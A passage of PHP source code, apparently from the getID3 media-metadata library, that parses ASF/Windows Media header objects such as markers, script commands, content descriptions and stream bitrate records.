$AudioCodecFrequency)); switch ($AudioCodecFrequency) { case 8: case 8000: $thisfile_audio['sample_rate'] = 8000; break; case 11: case 11025: $thisfile_audio['sample_rate'] = 11025; break; case 12: case 12000: $thisfile_audio['sample_rate'] = 12000; break; case 16: case 16000: $thisfile_audio['sample_rate'] = 16000; break; case 22: case 22050: $thisfile_audio['sample_rate'] = 22050; break; case 24: case 24000: $thisfile_audio['sample_rate'] = 24000; break; case 32: case 32000: $thisfile_audio['sample_rate'] = 32000; break; case 44: case 441000: $thisfile_audio['sample_rate'] = 44100; break; case 48: case 48000: $thisfile_audio['sample_rate'] = 48000; break; default: $this->warning('unknown frequency: "'.$AudioCodecFrequency.'" ('.$this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']).')'); break; } if (!isset($thisfile_audio['channels'])) { if (strstr($AudioCodecChannels, 'stereo')) { $thisfile_audio['channels'] = 2; } elseif (strstr($AudioCodecChannels, 'mono')) { $thisfile_audio['channels'] = 1; } } } } } break; case GETID3_ASF_Script_Command_Object: // Script Command Object: (optional, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Script Command object - GETID3_ASF_Script_Command_Object // Object Size QWORD 64 // size of Script Command object, including 44 bytes of Script Command Object header // Reserved GUID 128 // hardcoded: 4B1ACBE3-100B-11D0-A39B-00A0C90348F6 // Commands Count WORD 16 // number of Commands structures in the Script Commands Objects // Command Types Count WORD 16 // number of Command Types structures in the Script Commands Objects // Command Types array of: variable // // * Command Type Name Length WORD 16 // number of Unicode characters for Command Type Name // * Command Type Name WCHAR variable // array of Unicode characters - name of a type of command // Commands array of: variable // // * Presentation Time DWORD 32 // presentation time of that command, in milliseconds // * Type Index WORD 16 // type of this command, as a zero-based index into the array of Command Types of this object // * Command Name Length WORD 16 // number of Unicode characters for Command Name // * Command Name WCHAR variable // array of Unicode characters - name of this command // shortcut $thisfile_asf['script_command_object'] = array(); $thisfile_asf_scriptcommandobject = &$thisfile_asf['script_command_object']; $thisfile_asf_scriptcommandobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_scriptcommandobject['objectid'] = $NextObjectGUID; $thisfile_asf_scriptcommandobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_scriptcommandobject['objectsize'] = $NextObjectSize; $thisfile_asf_scriptcommandobject['reserved'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $thisfile_asf_scriptcommandobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']); if ($thisfile_asf_scriptcommandobject['reserved'] != $this->GUIDtoBytestring('4B1ACBE3-100B-11D0-A39B-00A0C90348F6')) { $this->warning('script_command_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4B1ACBE3-100B-11D0-A39B-00A0C90348F6}'); //return false; break; } $thisfile_asf_scriptcommandobject['commands_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_scriptcommandobject['command_types_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; for ($CommandTypesCounter = 0; $CommandTypesCounter < $thisfile_asf_scriptcommandobject['command_types_count']; $CommandTypesCounter++) { $CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character $offset += 2; $thisfile_asf_scriptcommandobject['command_types'][$CommandTypesCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength); $offset += $CommandTypeNameLength; } for ($CommandsCounter = 0; $CommandsCounter < $thisfile_asf_scriptcommandobject['commands_count']; $CommandsCounter++) { $thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['presentation_time'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['type_index'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character $offset += 2; $thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength); $offset += $CommandTypeNameLength; } break; case GETID3_ASF_Marker_Object: // Marker Object: (optional, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Marker object - GETID3_ASF_Marker_Object // Object Size QWORD 64 // size of Marker object, including 48 bytes of Marker Object header // Reserved GUID 128 // hardcoded: 4CFEDB20-75F6-11CF-9C0F-00A0C90349CB // Markers Count DWORD 32 // number of Marker structures in Marker Object // Reserved WORD 16 // hardcoded: 0x0000 // Name Length WORD 16 // number of bytes in the Name field // Name WCHAR variable // name of the Marker Object // Markers array of: variable // // * Offset QWORD 64 // byte offset into Data Object // * Presentation Time QWORD 64 // in 100-nanosecond units // * Entry Length WORD 16 // length in bytes of (Send Time + Flags + Marker Description Length + Marker Description + Padding) // * Send Time DWORD 32 // in milliseconds // * Flags DWORD 32 // hardcoded: 0x00000000 // * Marker Description Length DWORD 32 // number of bytes in Marker Description field // * Marker Description WCHAR variable // array of Unicode characters - description of marker entry // * Padding BYTESTREAM variable // optional padding bytes // shortcut $thisfile_asf['marker_object'] = array(); $thisfile_asf_markerobject = &$thisfile_asf['marker_object']; $thisfile_asf_markerobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_markerobject['objectid'] = $NextObjectGUID; $thisfile_asf_markerobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_markerobject['objectsize'] = $NextObjectSize; $thisfile_asf_markerobject['reserved'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $thisfile_asf_markerobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_markerobject['reserved']); if ($thisfile_asf_markerobject['reserved'] != $this->GUIDtoBytestring('4CFEDB20-75F6-11CF-9C0F-00A0C90349CB')) { $this->warning('marker_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_markerobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4CFEDB20-75F6-11CF-9C0F-00A0C90349CB}'); break; } $thisfile_asf_markerobject['markers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_markerobject['reserved_2'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; if ($thisfile_asf_markerobject['reserved_2'] != 0) { $this->warning('marker_object.reserved_2 ('.$thisfile_asf_markerobject['reserved_2'].') does not match expected value of "0"'); break; } $thisfile_asf_markerobject['name_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_markerobject['name'] = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['name_length']); $offset += $thisfile_asf_markerobject['name_length']; for ($MarkersCounter = 0; $MarkersCounter < $thisfile_asf_markerobject['markers_count']; $MarkersCounter++) { $thisfile_asf_markerobject['markers'][$MarkersCounter]['offset'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $thisfile_asf_markerobject['markers'][$MarkersCounter]['presentation_time'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_markerobject['markers'][$MarkersCounter]['send_time'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_markerobject['markers'][$MarkersCounter]['flags'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description'] = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']); $offset += $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']; $PaddingLength = $thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length'] - 4 - 4 - 4 - $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']; if ($PaddingLength > 0) { $thisfile_asf_markerobject['markers'][$MarkersCounter]['padding'] = substr($ASFHeaderData, $offset, $PaddingLength); $offset += $PaddingLength; } } break; case GETID3_ASF_Bitrate_Mutual_Exclusion_Object: // Bitrate Mutual Exclusion Object: (optional) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Bitrate Mutual Exclusion object - GETID3_ASF_Bitrate_Mutual_Exclusion_Object // Object Size QWORD 64 // size of Bitrate Mutual Exclusion object, including 42 bytes of Bitrate Mutual Exclusion Object header // Exlusion Type GUID 128 // nature of mutual exclusion relationship. one of: (GETID3_ASF_Mutex_Bitrate, GETID3_ASF_Mutex_Unknown) // Stream Numbers Count WORD 16 // number of video streams // Stream Numbers WORD variable // array of mutually exclusive video stream numbers. 1 <= valid <= 127 // shortcut $thisfile_asf['bitrate_mutual_exclusion_object'] = array(); $thisfile_asf_bitratemutualexclusionobject = &$thisfile_asf['bitrate_mutual_exclusion_object']; $thisfile_asf_bitratemutualexclusionobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_bitratemutualexclusionobject['objectid'] = $NextObjectGUID; $thisfile_asf_bitratemutualexclusionobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_bitratemutualexclusionobject['objectsize'] = $NextObjectSize; $thisfile_asf_bitratemutualexclusionobject['reserved'] = substr($ASFHeaderData, $offset, 16); $thisfile_asf_bitratemutualexclusionobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']); $offset += 16; if (($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Bitrate) && ($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Unknown)) { $this->warning('bitrate_mutual_exclusion_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']).'} does not match expected "GETID3_ASF_Mutex_Bitrate" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Bitrate).'} or "GETID3_ASF_Mutex_Unknown" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Unknown).'}'); //return false; break; } $thisfile_asf_bitratemutualexclusionobject['stream_numbers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; for ($StreamNumberCounter = 0; $StreamNumberCounter < $thisfile_asf_bitratemutualexclusionobject['stream_numbers_count']; $StreamNumberCounter++) { $thisfile_asf_bitratemutualexclusionobject['stream_numbers'][$StreamNumberCounter] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; } break; case GETID3_ASF_Error_Correction_Object: // Error Correction Object: (optional, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Error Correction object - GETID3_ASF_Error_Correction_Object // Object Size QWORD 64 // size of Error Correction object, including 44 bytes of Error Correction Object header // Error Correction Type GUID 128 // type of error correction. one of: (GETID3_ASF_No_Error_Correction, GETID3_ASF_Audio_Spread) // Error Correction Data Length DWORD 32 // number of bytes in Error Correction Data field // Error Correction Data BYTESTREAM variable // structure depends on value of Error Correction Type field // shortcut $thisfile_asf['error_correction_object'] = array(); $thisfile_asf_errorcorrectionobject = &$thisfile_asf['error_correction_object']; $thisfile_asf_errorcorrectionobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_errorcorrectionobject['objectid'] = $NextObjectGUID; $thisfile_asf_errorcorrectionobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_errorcorrectionobject['objectsize'] = $NextObjectSize; $thisfile_asf_errorcorrectionobject['error_correction_type'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $thisfile_asf_errorcorrectionobject['error_correction_guid'] = $this->BytestringToGUID($thisfile_asf_errorcorrectionobject['error_correction_type']); $thisfile_asf_errorcorrectionobject['error_correction_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; switch ($thisfile_asf_errorcorrectionobject['error_correction_type']) { case GETID3_ASF_No_Error_Correction: // should be no data, but just in case there is, skip to the end of the field $offset += $thisfile_asf_errorcorrectionobject['error_correction_data_length']; break; case GETID3_ASF_Audio_Spread: // Field Name Field Type Size (bits) // Span BYTE 8 // number of packets over which audio will be spread. // Virtual Packet Length WORD 16 // size of largest audio payload found in audio stream // Virtual Chunk Length WORD 16 // size of largest audio payload found in audio stream // Silence Data Length WORD 16 // number of bytes in Silence Data field // Silence Data BYTESTREAM variable // hardcoded: 0x00 * (Silence Data Length) bytes $thisfile_asf_errorcorrectionobject['span'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 1)); $offset += 1; $thisfile_asf_errorcorrectionobject['virtual_packet_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_errorcorrectionobject['virtual_chunk_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_errorcorrectionobject['silence_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_errorcorrectionobject['silence_data'] = substr($ASFHeaderData, $offset, $thisfile_asf_errorcorrectionobject['silence_data_length']); $offset += $thisfile_asf_errorcorrectionobject['silence_data_length']; break; default: $this->warning('error_correction_object.error_correction_type GUID {'.$this->BytestringToGUID($thisfile_asf_errorcorrectionobject['error_correction_type']).'} does not match expected "GETID3_ASF_No_Error_Correction" GUID {'.$this->BytestringToGUID(GETID3_ASF_No_Error_Correction).'} or "GETID3_ASF_Audio_Spread" GUID {'.$this->BytestringToGUID(GETID3_ASF_Audio_Spread).'}'); //return false; break; } break; case GETID3_ASF_Content_Description_Object: // Content Description Object: (optional, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Content Description object - GETID3_ASF_Content_Description_Object // Object Size QWORD 64 // size of Content Description object, including 34 bytes of Content Description Object header // Title Length WORD 16 // number of bytes in Title field // Author Length WORD 16 // number of bytes in Author field // Copyright Length WORD 16 // number of bytes in Copyright field // Description Length WORD 16 // number of bytes in Description field // Rating Length WORD 16 // number of bytes in Rating field // Title WCHAR 16 // array of Unicode characters - Title // Author WCHAR 16 // array of Unicode characters - Author // Copyright WCHAR 16 // array of Unicode characters - Copyright // Description WCHAR 16 // array of Unicode characters - Description // Rating WCHAR 16 // array of Unicode characters - Rating // shortcut $thisfile_asf['content_description_object'] = array(); $thisfile_asf_contentdescriptionobject = &$thisfile_asf['content_description_object']; $thisfile_asf_contentdescriptionobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_contentdescriptionobject['objectid'] = $NextObjectGUID; $thisfile_asf_contentdescriptionobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_contentdescriptionobject['objectsize'] = $NextObjectSize; $thisfile_asf_contentdescriptionobject['title_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_contentdescriptionobject['author_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_contentdescriptionobject['copyright_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_contentdescriptionobject['description_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_contentdescriptionobject['rating_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_contentdescriptionobject['title'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['title_length']); $offset += $thisfile_asf_contentdescriptionobject['title_length']; $thisfile_asf_contentdescriptionobject['author'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['author_length']); $offset += $thisfile_asf_contentdescriptionobject['author_length']; $thisfile_asf_contentdescriptionobject['copyright'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['copyright_length']); $offset += $thisfile_asf_contentdescriptionobject['copyright_length']; $thisfile_asf_contentdescriptionobject['description'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['description_length']); $offset += $thisfile_asf_contentdescriptionobject['description_length']; $thisfile_asf_contentdescriptionobject['rating'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['rating_length']); $offset += $thisfile_asf_contentdescriptionobject['rating_length']; $ASFcommentKeysToCopy = array('title'=>'title', 'author'=>'artist', 'copyright'=>'copyright', 'description'=>'comment', 'rating'=>'rating'); foreach ($ASFcommentKeysToCopy as $keytocopyfrom => $keytocopyto) { if (!empty($thisfile_asf_contentdescriptionobject[$keytocopyfrom])) { $thisfile_asf_comments[$keytocopyto][] = $this->TrimTerm($thisfile_asf_contentdescriptionobject[$keytocopyfrom]); } } break; case GETID3_ASF_Extended_Content_Description_Object: // Extended Content Description Object: (optional, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Extended Content Description object - GETID3_ASF_Extended_Content_Description_Object // Object Size QWORD 64 // size of ExtendedContent Description object, including 26 bytes of Extended Content Description Object header // Content Descriptors Count WORD 16 // number of entries in Content Descriptors list // Content Descriptors array of: variable // // * Descriptor Name Length WORD 16 // size in bytes of Descriptor Name field // * Descriptor Name WCHAR variable // array of Unicode characters - Descriptor Name // * Descriptor Value Data Type WORD 16 // Lookup array: // 0x0000 = Unicode String (variable length) // 0x0001 = BYTE array (variable length) // 0x0002 = BOOL (DWORD, 32 bits) // 0x0003 = DWORD (DWORD, 32 bits) // 0x0004 = QWORD (QWORD, 64 bits) // 0x0005 = WORD (WORD, 16 bits) // * Descriptor Value Length WORD 16 // number of bytes stored in Descriptor Value field // * Descriptor Value variable variable // value for Content Descriptor // shortcut $thisfile_asf['extended_content_description_object'] = array(); $thisfile_asf_extendedcontentdescriptionobject = &$thisfile_asf['extended_content_description_object']; $thisfile_asf_extendedcontentdescriptionobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_extendedcontentdescriptionobject['objectid'] = $NextObjectGUID; $thisfile_asf_extendedcontentdescriptionobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_extendedcontentdescriptionobject['objectsize'] = $NextObjectSize; $thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; for ($ExtendedContentDescriptorsCounter = 0; $ExtendedContentDescriptorsCounter < $thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count']; $ExtendedContentDescriptorsCounter++) { // shortcut $thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter] = array(); $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current = &$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter]; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['base_offset'] = $offset + 30; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name'] = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']); $offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length']); $offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length']; switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) { case 0x0000: // Unicode string break; case 0x0001: // BYTE array // do nothing break; case 0x0002: // BOOL $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = (bool) getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); break; case 0x0003: // DWORD case 0x0004: // QWORD case 0x0005: // WORD $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); break; default: $this->warning('extended_content_description.content_descriptors.'.$ExtendedContentDescriptorsCounter.'.value_type is invalid ('.$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type'].')'); //return false; break; } switch ($this->TrimConvert(strtolower($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']))) { case 'wm/albumartist': case 'artist': // Note: not 'artist', that comes from 'author' tag $thisfile_asf_comments['albumartist'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); break; case 'wm/albumtitle': case 'album': $thisfile_asf_comments['album'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); break; case 'wm/genre': case 'genre': $thisfile_asf_comments['genre'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); break; case 'wm/partofset': $thisfile_asf_comments['partofset'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); break; case 'wm/tracknumber': case 'tracknumber': // be careful casting to int: casting unicode strings to int gives unexpected results (stops parsing at first non-numeric character) $thisfile_asf_comments['track_number'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); foreach ($thisfile_asf_comments['track_number'] as $key => $value) { if (preg_match('/^[0-9\x00]+$/', $value)) { $thisfile_asf_comments['track_number'][$key] = intval(str_replace("\x00", '', $value)); } } break; case 'wm/track': if (empty($thisfile_asf_comments['track_number'])) { $thisfile_asf_comments['track_number'] = array(1 + (int) $this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); } break; case 'wm/year': case 'year': case 'date': $thisfile_asf_comments['year'] = array( $this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); break; case 'wm/lyrics': case 'lyrics': $thisfile_asf_comments['lyrics'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); break; case 'isvbr': if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']) { $thisfile_audio['bitrate_mode'] = 'vbr'; $thisfile_video['bitrate_mode'] = 'vbr'; } break; case 'id3': $this->getid3->include_module('tag.id3v2'); $getid3_id3v2 = new getid3_id3v2($this->getid3); $getid3_id3v2->AnalyzeString($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); unset($getid3_id3v2); if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] > 1024) { $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = ''; } break; case 'wm/encodingtime': $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); $thisfile_asf_comments['encoding_time_unix'] = array($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix']); break; case 'wm/picture': $WMpicture = $this->ASF_WMpicture($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); foreach ($WMpicture as $key => $value) { $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current[$key] = $value; } unset($WMpicture); /* $wm_picture_offset = 0; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id'] = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 1)); $wm_picture_offset += 1; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type'] = self::WMpictureTypeLookup($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id']); $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_size'] = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 4)); $wm_picture_offset += 4; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = ''; do { $next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2); $wm_picture_offset += 2; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] .= $next_byte_pair; } while ($next_byte_pair !== "\x00\x00"); $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] = ''; do { $next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2); $wm_picture_offset += 2; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] .= $next_byte_pair; } while ($next_byte_pair !== "\x00\x00"); $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['dataoffset'] = $wm_picture_offset; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'] = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset); unset($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); $imageinfo = array(); $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = ''; $imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], $imageinfo); unset($imageinfo); if (!empty($imagechunkcheck)) { $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]); } if (!isset($thisfile_asf_comments['picture'])) { $thisfile_asf_comments['picture'] = array(); } $thisfile_asf_comments['picture'][] = array('data'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], 'image_mime'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime']); */ break; default: switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) { case 0: // Unicode string if (substr($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']), 0, 3) == 'WM/') { $thisfile_asf_comments[str_replace('wm/', '', strtolower($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name'])))] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); } break; case 1: break; } break; } } break; case GETID3_ASF_Stream_Bitrate_Properties_Object: // Stream Bitrate Properties Object: (optional, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Stream Bitrate Properties object - GETID3_ASF_Stream_Bitrate_Properties_Object // Object Size QWORD 64 // size of Extended Content Description object, including 26 bytes of Stream Bitrate Properties Object header // Bitrate Records Count WORD 16 // number of records in Bitrate Records // Bitrate Records array of: variable // // * Flags WORD 16 // // * * Stream Number bits 7 (0x007F) // number of this stream // * * Reserved bits 9 (0xFF80) // hardcoded: 0 // * Average Bitrate DWORD 32 // in bits per second // shortcut $thisfile_asf['stream_bitrate_properties_object'] = array(); $thisfile_asf_streambitratepropertiesobject = &$thisfile_asf['stream_bitrate_properties_object']; $thisfile_asf_streambitratepropertiesobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_streambitratepropertiesobject['objectid'] = $NextObjectGUID; $thisfile_asf_streambitratepropertiesobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_streambitratepropertiesobject['objectsize'] = $NextObjectSize; $thisfile_asf_streambitratepropertiesobject['bitrate_records_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) { $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags']['stream_number'] = $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] & 0x007F; $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; } break; case GETID3_ASF_Padding_Object: // Padding Object: (optional) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Padding object - GETID3_ASF_Padding_Object // Object Size QWORD 64 // size of Padding object, including 24 bytes of ASF Padding Object header // Padding Data BYTESTREAM variable // ignore // shortcut $thisfile_asf['padding_object'] = array(); $thisfile_asf_paddingobject = &$thisfile_asf['padding_object']; $thisfile_asf_paddingobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_paddingobject['objectid'] = $NextObjectGUID; $thisfile_asf_paddingobject['objectid_guid'] = $NextObjectGUIDtext; 